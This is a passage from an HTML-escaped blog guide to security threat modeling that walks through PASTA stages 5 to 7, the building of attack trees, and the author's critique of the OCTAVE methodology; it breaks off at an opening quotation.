  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.synopsys.com/blogs/software-security/5-pillars-successful-threat-model/&quot;&gt;Traceability Matrices&lt;/a&gt;&lt;/strong&gt; can be created to examine a &lt;em&gt;threat agent&lt;/em&gt;. &lt;a href=&quot;#control-frameworks&quot;&gt;Controls&lt;/a&gt; can be mapped within the matrix to effectively mitigate the threat. &lt;em&gt;Note&lt;/em&gt;: Similar results can be achieved from building &lt;a href=&quot;#attack-trees&quot;&gt;attack trees&lt;/a&gt;, this is just one other medium. A traceability matrix is a 7-column table with the following fields. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;10&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;center&gt;&lt;b&gt;Threat Agent&lt;/b&gt; --&amp;gt; &lt;b&gt;Asset&lt;/b&gt; --&amp;gt; &lt;b&gt;Attack&lt;/b&gt; --&amp;gt; &lt;b&gt;Attack Surface&lt;/b&gt; --&amp;gt; &lt;b&gt;Attack Goal&lt;/b&gt; --&amp;gt; &lt;b&gt;Impact&lt;/b&gt; --&amp;gt; &lt;b&gt;Control&lt;/b&gt;&lt;/center&gt;

&lt;h3 id=&quot;pasta-stage-5-vulnerability--weakness-analysis&quot;&gt;PASTA Stage 5: Vulnerability &amp;amp; Weakness Analysis&lt;/h3&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/pasta-threat-model-5-Vuln+Analysis.png&quot; alt=&quot;PASTA Stage 5&quot; width=&quot;900px&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;To be honest&lt;/em&gt;, I’m not entirely sure what the difference between a &lt;strong&gt;threat tree&lt;/strong&gt; and an &lt;em&gt;&lt;a href=&quot;#attack-trees&quot;&gt;attack tree&lt;/a&gt;&lt;/em&gt; is… &lt;em&gt;Stage 5&lt;/em&gt; asks that we develop &lt;em&gt;threat trees&lt;/em&gt; while &lt;em&gt;&lt;a href=&quot;#pasta-stage-6-attack-modeling&quot;&gt;Stage 6&lt;/a&gt;&lt;/em&gt; then asks us derive &lt;em&gt;attack trees&lt;/em&gt;. (&lt;em&gt;??&lt;/em&gt;) The only difference I can divine is the latter uses &lt;em&gt;&lt;a href=&quot;#attack-libraries&quot;&gt;attack libraries&lt;/a&gt;&lt;/em&gt; as input, so perhaps &lt;em&gt;attack trees&lt;/em&gt; use known attack data rather than theoretical paths?&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Stage 5&lt;/em&gt; requests the ingestion of &lt;em&gt;vulnerability assessment reports&lt;/em&gt;, vuln-to-asset attribution and scored vulnerabilities. This can be done manually, or preferably, performed as part of a larger &lt;a href=&quot;https://shellsharks.com/symphonic-vulnerability-surface-mapping#a-primer-on-vulnerability-management&quot;&gt;Vulnerability Management&lt;/a&gt; program (VMP).&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vulnerability-catalogs&quot;&gt;Vulnerability Catalogs&lt;/a&gt; and vulnerability scoring systems like &lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss&quot;&gt;CVSS&lt;/a&gt; are heavily used in this stage.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Design Flaw Analysis&lt;/strong&gt;: Evaluate &lt;a href=&quot;https://www.usability.gov/how-to-and-tools/methods/use-cases.html&quot;&gt;use&lt;/a&gt; and &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Abuse_Case_Cheat_Sheet.html&quot;&gt;abuse cases&lt;/a&gt; for ways an attacker might compromise a system.&lt;/li&gt;
  &lt;li&gt;For documenting &lt;em&gt;threats-attacks-vulns-assets&lt;/em&gt;, a simple list or table will suffice. Try to maintain as much elemental affinity as possible (i.e. attempt to capture the relationships between threats, attacks, &lt;a href=&quot;#vulnerability-catalogs&quot;&gt;vulnerabilities&lt;/a&gt; and assets).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;pasta-stage-6-attack-modeling&quot;&gt;PASTA Stage 6: Attack Modeling&lt;/h3&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/pasta-threat-model-6-Attack+Modeling.png&quot; alt=&quot;PASTA Stage 6&quot; width=&quot;900px&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;Now at &lt;em&gt;Stage 6&lt;/em&gt; we start to see many of the outputs from previous stages being fed back in as inputs (e.g. &lt;a href=&quot;#pasta-stage-2-define-technical-scope&quot;&gt;technical scope&lt;/a&gt;, &lt;a href=&quot;#pasta-stage-3-application-decomposition&quot;&gt;decomposition&lt;/a&gt;, etc…)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Attack Surface Analysis&lt;/strong&gt;: What this means exactly is a bit ambiguous and probably open to some interpretation. Generally, I would focus on a prioritized list of surface-area components based on data criticality and surface volume. Check out &lt;a href=&quot;https://www.crowdstrike.com/cybersecurity-101/attack-surface-management/&quot;&gt;CrowdStrike’s take on Attack Surface Management&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;#attack-trees&quot;&gt;Attack Trees&lt;/a&gt;&lt;/strong&gt; are a big part of &lt;em&gt;Stage 6&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;What does it mean to &lt;em&gt;manage&lt;/em&gt; our &lt;em&gt;attack library&lt;/em&gt;? Well we have some &lt;a href=&quot;#attack-libraries&quot;&gt;attack libraries&lt;/a&gt; we can import, so my guess is it just means to update or add to an imported library of attacks (unless of course we maintain one ourselves). This is reminiscent of &lt;em&gt;&lt;a href=&quot;#tara-assessment-workflow&quot;&gt;TARA, Step 3: Knowledge Management&lt;/a&gt;&lt;/em&gt;. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;23&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Beyond the &lt;em&gt;attack trees&lt;/em&gt; themselves, it could be additionally beneficial to map attack paths as overlays on top of the &lt;a href=&quot;#pasta-stage-3-application-decomposition&quot;&gt;previously&lt;/a&gt; created &lt;a href=&quot;#data-flow-diagrams&quot;&gt;DFD&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;attack-trees&quot;&gt;Attack Trees&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Attack trees&lt;/strong&gt; are hierarchical, graphical diagrams that show how low-level hostile activities interact and combine to achieve an adversary’s objectives. The goal of the attack is the &lt;em&gt;root&lt;/em&gt; node, and the ways of achieving that goal are the &lt;em&gt;leaf&lt;/em&gt; nodes. Like other &lt;a href=&quot;https://hbr.org/1964/07/decision-trees-for-decision-making&quot;&gt;decision trees&lt;/a&gt;, attack trees are inverted, with the flow beginning from the leaves &lt;em&gt;up&lt;/em&gt; to the root. As an attacker progresses through the tree through the intermediate states, they may gain certain tactical benefits and achieve other impacts. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;11&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;12&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/attack-tree.png&quot; alt=&quot;Attack Tree&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Here’s some more technical tid-bits on &lt;em&gt;attack trees&lt;/em&gt;…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Attack trees have &lt;em&gt;AND&lt;/em&gt; and &lt;em&gt;OR&lt;/em&gt; nodes. For an attacker to progress, each leaf node must be achieved per the condition of its parent node. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;12&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;You could further overlay nodes and paths with other contextual data. For example, you could associate nodes with a cost or time weight. You could also overlay &lt;a href=&quot;#control-frameworks&quot;&gt;security controls&lt;/a&gt; information. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;11&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Commonalities from one tree to another can be considered &lt;em&gt;attack patterns&lt;/em&gt;. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;26&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;A single branch on an attack tree is considered an &lt;em&gt;attack path&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To create a tree, first start by enumerating &lt;em&gt;all&lt;/em&gt; possible attack &lt;strong&gt;goals&lt;/strong&gt;. (&lt;strong&gt;Warning&lt;/strong&gt;: Attack trees can get pretty big, so you may want to start small and build out from there). Remember, a list of &lt;em&gt;attack scenarios&lt;/em&gt; was developed in the &lt;em&gt;&lt;a href=&quot;#pasta-stage-4-threat-analysis&quot;&gt;threat analysis stage (Stage 4)&lt;/a&gt;&lt;/em&gt;. For each threat, create leaf nodes which represent the actions, weaknesses or &lt;a href=&quot;#vulnerability-catalogs&quot;&gt;vulnerabilities&lt;/a&gt; that would need to be present for the attacker to succeed. Each attack / threat / goal has a separate tree, and when combining all trees together, you create a composite &lt;strong&gt;attack graph&lt;/strong&gt;. To add further context and value to an &lt;em&gt;attack tree&lt;/em&gt;, consider the tree provided below. It adds data such as the &lt;em&gt;asset&lt;/em&gt; affected, the use and abuse cases involved, &lt;a href=&quot;#attack-libraries&quot;&gt;library&lt;/a&gt;-mapped attack patterns and even explicitly-defined impacts! &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;9&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/attack-tree-extra.png&quot; alt=&quot;Attack Tree Extra&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Attack trees&lt;/em&gt; can and should be used to make security decisions. By performing an attack tree exercise, you can see if a system is vulnerable to an attack. You can also challenge existing security assumptions about a system and ultimately better understand the impact of vulnerabilities. Similarly, you can better understand the risk / impact mitigated by &lt;a href=&quot;#control-frameworks&quot;&gt;controls&lt;/a&gt; that you can overlay on or between nodes within the attack tree.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;* Note&lt;/strong&gt;: In a future update to this section, I will be adding details around &lt;strong&gt;&lt;a href=&quot;#the-stages-of-qtmm&quot;&gt;misuse cases&lt;/a&gt;&lt;/strong&gt; in the context of &lt;em&gt;attack trees&lt;/em&gt;. &lt;em&gt;Stay tuned!&lt;/em&gt;&lt;/p&gt;

&lt;h6 id=&quot;attack-tree-references&quot;&gt;Attack Tree References&lt;/h6&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;#tooling&quot;&gt;Attack Tree Tools&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Extra Reading: &lt;a href=&quot;https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;amp;arnumber=8429296&quot;&gt;Guided design of attack trees: a system-based approach&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Extra Reading: &lt;a href=&quot;http://dcsl.cs.ua.edu/papers/SAM9712.pdf&quot;&gt;An Evolutionary Approach of Attack Graphs and Attack Trees: A Survey of Attack Modeling&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;pasta-stage-7-risk--impact-analysis&quot;&gt;PASTA Stage 7: Risk &amp;amp; Impact Analysis&lt;/h3&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/pasta-threat-model-7-Risk+Analysis.png&quot; alt=&quot;PASTA Stage 7&quot; width=&quot;900px&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Qualitative&lt;/em&gt; risk analysis is subjective, using categorical associations, whereas &lt;em&gt;quantitative&lt;/em&gt; risk analysis is objective, utilizing numerical values.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;4&lt;/strong&gt; traditional ways to deal with risk: &lt;em&gt;mitigation&lt;/em&gt;, &lt;em&gt;transference&lt;/em&gt;, &lt;em&gt;acceptance&lt;/em&gt; and &lt;em&gt;avoidance&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;To conduct a &lt;strong&gt;gap analysis&lt;/strong&gt; at a basic level, you need to know your &lt;em&gt;current&lt;/em&gt; state and your &lt;em&gt;desired&lt;/em&gt; state. Your desired state could align with an &lt;a href=&quot;#compliance-frameworks&quot;&gt;industry-standard security framework&lt;/a&gt; (e.g. &lt;a href=&quot;https://www.iso.org/isoiec-27001-information-security.html&quot;&gt;ISO 27001&lt;/a&gt;, &lt;a href=&quot;https://us.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report&quot;&gt;SOC 2 Type II&lt;/a&gt;, etc…), or it could be simply mitigating known risks to an acceptable level.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Residual risk&lt;/em&gt; can be rudimentarily calculated by taking &lt;strong&gt;(Vuln * Attack * Impact)&lt;/strong&gt; and dividing by &lt;strong&gt;Countermeasures&lt;/strong&gt;. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;9&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;There are a &lt;a href=&quot;#risk-assessment-models&quot;&gt;bunch of risk modeling frameworks&lt;/a&gt; that can be employed at this stage.&lt;/li&gt;
  &lt;li&gt;The &lt;strong&gt;application risk profile&lt;/strong&gt; I see as a high-level description of the risk the application faces as well as the risk to the business given the current state of the system.&lt;/li&gt;
  &lt;li&gt;The &lt;strong&gt;threat matrix&lt;/strong&gt; (in my mind) is a simpler, tabular version of the threats produced in &lt;em&gt;&lt;a href=&quot;#pasta-stage-4-threat-analysis&quot;&gt;Stage 4&lt;/a&gt;&lt;/em&gt;, coupled with the assets identified in &lt;em&gt;&lt;a href=&quot;#pasta-stage-3-application-decomposition&quot;&gt;Stage 3&lt;/a&gt;&lt;/em&gt; and the vulnerabilities discovered in &lt;em&gt;&lt;a href=&quot;#pasta-stage-5-vulnerability--weakness-analysis&quot;&gt;Stage 5&lt;/a&gt;&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;With a prioritized list of risks, consult one of the many &lt;a href=&quot;#control-frameworks&quot;&gt;control frameworks&lt;/a&gt; to begin building a comprehensive risk mitigation strategy, or at least a list of targeted &lt;strong&gt;risk treatments&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;thoughts-on-pasta&quot;&gt;Thoughts on PASTA&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Phew!&lt;/strong&gt; This methodology is a &lt;em&gt;doozy&lt;/em&gt;… I list some thoughts and extra &lt;em&gt;meatballs-of-wisdom&lt;/em&gt; for &lt;a href=&quot;#pasta&quot;&gt;PASTA&lt;/a&gt; below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;To perform a PASTA-style &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat model&lt;/a&gt; &lt;em&gt;by-the-book&lt;/em&gt; is an incredibly huge undertaking. It requires a massive amount of data collection as inputs and an even greater amount of effort producing the litany of output artifacts required to achieve success in the &lt;a href=&quot;#pasta-stage-7-risk--impact-analysis&quot;&gt;final stage&lt;/a&gt;.
    &lt;ul&gt;
      &lt;li&gt;Creating countless diagrams, matrices, lists, trees, graphs… is &lt;em&gt;VERY&lt;/em&gt; time-consuming. It took me a &lt;em&gt;gross&lt;/em&gt; amount of time just to make the &lt;em&gt;pretend&lt;/em&gt; artifacts for this guide. &lt;a href=&quot;#attack-trees&quot;&gt;Attack trees&lt;/a&gt; are especially high LoE.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Though I feel relatively comfortable in saying I’ve explained the spirit of PASTA quite thoroughly, there are bits here and there that I’m sure I either misrepresented, left out or otherwise goofed on. My understanding of PASTA is based on quite a bit of open-source research, but unfortunately none of that research involved actually having access to the &lt;a href=&quot;https://www.wiley.com/en-us/Risk+Centric+Threat+Modeling%3A+Process+for+Attack+Simulation+and+Threat+Analysis-p-9780470500965#&quot;&gt;official book&lt;/a&gt; in which it is formally described. &lt;em&gt;The book is like $100+ which is pretty crazy imo.&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;For another take on a PASTA-like threat modeling approach, check out &lt;strong&gt;&lt;a href=&quot;https://www.diva-portal.org/smash/get/diva2:1463788/FULLTEXT01.pdf&quot;&gt;TMM&lt;/a&gt;&lt;/strong&gt; from the &lt;a href=&quot;https://www.kth.se/&quot;&gt;KTH&lt;/a&gt; &lt;em&gt;Royal Institute of Technology&lt;/em&gt;. &lt;em&gt;TMM&lt;/em&gt; simplifies the process of threat modeling relative to PASTA-classic (&lt;em&gt;which we know is hyper-involved&lt;/em&gt;) and adds the &lt;a href=&quot;#risk-assessment-models&quot;&gt;risk modeling&lt;/a&gt; benefits (&lt;em&gt;and flair&lt;/em&gt;) of &lt;a href=&quot;https://www.fairinstitute.org/what-is-fair&quot;&gt;FAIR&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://versprite.com/&quot;&gt;VerSprite&lt;/a&gt; also has a &lt;a href=&quot;#pasta&quot;&gt;PASTA&lt;/a&gt; + &lt;a href=&quot;https://www.fairinstitute.org/what-is-fair&quot;&gt;FAIR&lt;/a&gt;-inspired approach / tool, the &lt;a href=&quot;https://versprite.com/blog/application-security/threat-modeling/organizational-threat-model-enterprise-risk-assessment/&quot;&gt;Organizational Threat Model&lt;/a&gt;.
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://versprite.com/author/tony-ucedavelez/&quot;&gt;Tony UcedaVélez&lt;/a&gt;, co-author of the &lt;em&gt;OG&lt;/em&gt; &lt;a href=&quot;https://www.wiley.com/en-us/Risk+Centric+Threat+Modeling%3A+Process+for+Attack+Simulation+and+Threat+Analysis-p-9780470500965#&quot;&gt;PASTA book&lt;/a&gt; also happens to be CEO at &lt;a href=&quot;https://versprite.com&quot;&gt;VerSprite&lt;/a&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;em&gt;PASTA&lt;/em&gt; has &lt;strong&gt;3&lt;/strong&gt; different implementation tiers / options. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;9&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;em&gt;Blind Threat Model&lt;/em&gt;: Essentially stages &lt;a href=&quot;#pasta-stage-1-define-objectives&quot;&gt;1&lt;/a&gt; &amp;amp; &lt;a href=&quot;#pasta-stage-2-define-technical-scope&quot;&gt;2&lt;/a&gt; of PASTA.&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;Evidence-Driven Threat Model&lt;/em&gt;: Integrate organization threat telemetry (&lt;em&gt;log analysis&lt;/em&gt;) and correlate &lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;CTI&lt;/a&gt; with attack trends from logs. So essentially up through &lt;em&gt;&lt;a href=&quot;#pasta-stage-4-threat-analysis&quot;&gt;Stage 4&lt;/a&gt;&lt;/em&gt;.&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;Full Risk Based Threat Model&lt;/em&gt;: Run statistical/probabilistic analysis on threat data, attack sequences and attack effectiveness. In other words, all &lt;strong&gt;7&lt;/strong&gt; stages.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;A &lt;a href=&quot;https://gitlab.com/gitlab-com/gl-security/security-research/gitlab-standalone-instance/-/blob/master/threat-modeling-assessment.md&quot;&gt;sample PASTA Threat Modeling exercise from GitLab is linked here&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;So who uses PASTA? Well we know &lt;a href=&quot;https://about.gitlab.com/handbook/security/threat_modeling/#samples-of-pasta-evaluations&quot;&gt;GitLab&lt;/a&gt; and &lt;a href=&quot;https://versprite.com/blog/application-security/threat-modeling/organizational-threat-model-enterprise-risk-assessment/&quot;&gt;Versprite&lt;/a&gt; do (&lt;em&gt;a variation of it atleast&lt;/em&gt;).&lt;/li&gt;
  &lt;li&gt;The &lt;em&gt;secret sauce&lt;/em&gt; of &lt;a href=&quot;#pasta&quot;&gt;PASTA&lt;/a&gt; (&lt;em&gt;get it?&lt;/em&gt;) is its obsessive focus on &lt;strong&gt;threats&lt;/strong&gt;, and mapping out &lt;em&gt;exactly&lt;/em&gt; how those threats can be realized, or prevented.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr width=&quot;33%&quot; /&gt;

&lt;h2 id=&quot;octave&quot;&gt;OCTAVE&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Operationally Critical Threat, Asset and Vulnerability Evaluation&lt;/strong&gt; (&lt;strong&gt;&lt;a href=&quot;https://resources.sei.cmu.edu/library/asset-view.cfm?assetid=13473&quot;&gt;OCTAVE&lt;/a&gt;&lt;/strong&gt;) &lt;a href=&quot;https://resources.sei.cmu.edu/asset_files/TechnicalReport/1999_005_001_16769.pdf&quot;&gt;&lt;i class=&quot;ph ph-file-text&quot;&gt;&lt;/i&gt;&lt;a&gt;&lt;/a&gt; is an organization-focused framework for identifying and managing information security risks. It was published in 1999 by researchers of the &lt;a href=&quot;https://www.sei.cmu.edu&quot;&gt;Software Engineering Institute at Carnegie Mellon&lt;/a&gt;. Similar to &lt;a href=&quot;#methodologies&quot;&gt;other&lt;/a&gt; threat modeling methodologies, OCTAVE includes steps for identifying assets, threats and &lt;a href=&quot;#vulnerability-catalogs&quot;&gt;vulnerabilities&lt;/a&gt;. OCTAVE-based assessments include &lt;strong&gt;8&lt;/strong&gt; distinct processes across &lt;strong&gt;3&lt;/strong&gt; &lt;a href=&quot;#the-phases--and-processes-of-octave&quot;&gt;phases&lt;/a&gt;. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;13&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;octave-variants&quot;&gt;OCTAVE Variants&lt;/h6&gt;

&lt;p&gt;In addition to the original &lt;a href=&quot;#octave&quot;&gt;OCTAVE&lt;/a&gt; model, two variations of the methodology were also subsequently published. All &lt;strong&gt;3&lt;/strong&gt; are listed below. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;13&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#octave&quot;&gt;OCTAVE&lt;/a&gt; (&lt;em&gt;1999&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#octave-s&quot;&gt;OCTAVE-S&lt;/a&gt; (&lt;em&gt;2003&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#octave-allegro&quot;&gt;OCTAVE Allegro&lt;/a&gt; (&lt;em&gt;~2007&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;the-phases--processes-of-octave&quot;&gt;The Phases &amp;amp; Processes of OCTAVE&lt;/h6&gt;

&lt;p&gt;Rather than provide detailed explanations of each &lt;em&gt;phase&lt;/em&gt; and &lt;em&gt;process&lt;/em&gt; of &lt;a href=&quot;#octave&quot;&gt;OCTAVE&lt;/a&gt;, I provide only the high-level description of each below. For more prescriptive guidance on how to accomplish the steps within each phase/process, I would recommend referencing similar sub-processes described from the &lt;a href=&quot;#methodologies&quot;&gt;other methodologies&lt;/a&gt; in this guide or by consulting the &lt;a href=&quot;https://resources.sei.cmu.edu/library/asset-view.cfm?assetid=13473&quot;&gt;official OCTAVE publication&lt;/a&gt; &lt;strong&gt;**&lt;/strong&gt;.  &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;13&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/octave-phases.png&quot; alt=&quot;Octave&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Phase 1: Organizational View&lt;/strong&gt; - Inventory assets, develop a threat profile, gather knowledge from across the enterprise and establish security requirements.
    &lt;ul&gt;
      &lt;li&gt;Process 1: &lt;em&gt;Identify Enterprise Knowledge&lt;/em&gt;&lt;/li&gt;
      &lt;li&gt;Process 2: &lt;em&gt;Identify Operational Area&lt;/em&gt;&lt;/li&gt;
      &lt;li&gt;Process 3: &lt;em&gt;Identify Staff Knowledge&lt;/em&gt;&lt;/li&gt;
      &lt;li&gt;Process 4: &lt;em&gt;Establish Security Requirements&lt;/em&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Phase 2: Technological View&lt;/strong&gt; - Inventory high-priority systems and identify infrastructure policy gaps, &lt;a href=&quot;#vulnerability-catalogs&quot;&gt;vulnerabilities&lt;/a&gt; and organizational weaknesses.
    &lt;ul&gt;
      &lt;li&gt;Process 5: &lt;em&gt;Map High-Priority Information&lt;/em&gt;&lt;/li&gt;
      &lt;li&gt;Process 6: &lt;em&gt;Perform Infrastructure Vulnerability Evaluation&lt;/em&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Phase 3: Strategy and Plan Development&lt;/strong&gt; - &lt;a href=&quot;#risk-assessment-models&quot;&gt;Calculate risk&lt;/a&gt; by analyzing gathered assets, threats and vulnerabilities. Produce a prioritized list of risks, a protection strategy and a risk management plan.
    &lt;ul&gt;
      &lt;li&gt;Process 7: &lt;em&gt;Conduct Multi-Dimensional Risk Analysis&lt;/em&gt;&lt;/li&gt;
      &lt;li&gt;Process 8: &lt;em&gt;Develop Protection Strategy&lt;/em&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;** Note:&lt;/strong&gt; I may re-visit this section in the future to add additional depth, but for now I have left it pretty bare-bones. I’ve done this because I really &lt;a href=&quot;#thoughts-on-octave&quot;&gt;don’t care for&lt;/a&gt; this methodology.&lt;/p&gt;

&lt;h6 id=&quot;thoughts-on-octave&quot;&gt;Thoughts on OCTAVE&lt;/h6&gt;

&lt;p&gt;With &lt;a href=&quot;#octave&quot;&gt;OCTAVE&lt;/a&gt;, there is a heavy emphasis in &lt;em&gt;&lt;a href=&quot;#the-phases--processes-of-octave&quot;&gt;Phase 1&lt;/a&gt;&lt;/em&gt; on meticulous and (overly) exhaustive knowledge gathering from across the enterprise. Senior managers, operational managers and rank-and-file staff are &lt;em&gt;all&lt;/em&gt; consulted. Though I believe any good &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt; approach will leverage system owners / organizational stakeholders to describe their systems and discuss the threats / risks / controls that exist within the target system from their perspective, OCTAVE seems to rely exclusively on these system owners rather than dedicated security staff. Though these system owners surely possess authoritative knowledge about their own system(s), they lack the security depth to be effective in providing a meaningful list of threats and &lt;a href=&quot;#control-frameworks&quot;&gt;security controls&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The goal for &lt;em&gt;Phase 1&lt;/em&gt; of an OCTAVE engagement is to establish &lt;strong&gt;security requirements&lt;/strong&gt;. Personally, I think security requirements should be an &lt;em&gt;input&lt;/em&gt; into a threat modeling exercise, rather than an output or goal. Requirements are not really system-specific, rather they should be adopted organization-wide then used to influence and provide boundaries for subsequent threat models. With that said, I see the benefits of using OCTAVE in the nascent stages of information security program development as a way to define threat / risk-informed security requirements.&lt;/p&gt;

&lt;p&gt;One thing OCTAVE nails in my mind is the exercise of identifying high-priority components within the target system. Once determined, denote these components within the larger asset map to better understand critical &lt;em&gt;attack paths&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;In &lt;em&gt;Process 6&lt;/em&gt; of OCTAVE, “&lt;em&gt;Perform Infrastructure Vulnerability Evaluation&lt;/em&gt;”, the assessment team is tasked with &lt;em&gt;selecting intrusion scenarios&lt;/em&gt;. This is to be done based solely on previously gathered characteristics of the enterprise but makes no mention of using actual &lt;strong&gt;&lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;threat intelligence&lt;/a&gt;&lt;/strong&gt;. This is a huge blind spot in my opinion. Sure, you can certainly speculate (&lt;em&gt;and wildly so&lt;/em&gt;) as to all of the potential intrusion scenarios in an environment but having an intel-informed approach will yield much better risk-driven results in the end.&lt;/p&gt;

&lt;p&gt;Overall, I find OCTAVE tedious, complex and confusing, especially when applied in a more tactical threat modeling sense as its highly prescriptive set of steps is undeniably time-consuming. But don’t take it from me, the &lt;a href=&quot;https://www.sei.cmu.edu/&quot;&gt;SEI&lt;/a&gt; team themselves say as much in a &lt;a href=&quot;#octave-allegro&quot;&gt;subsequent (more simplified) OCTAVE release&lt;/a&gt;…&lt;/p&gt;

&lt;blockquote&gt;
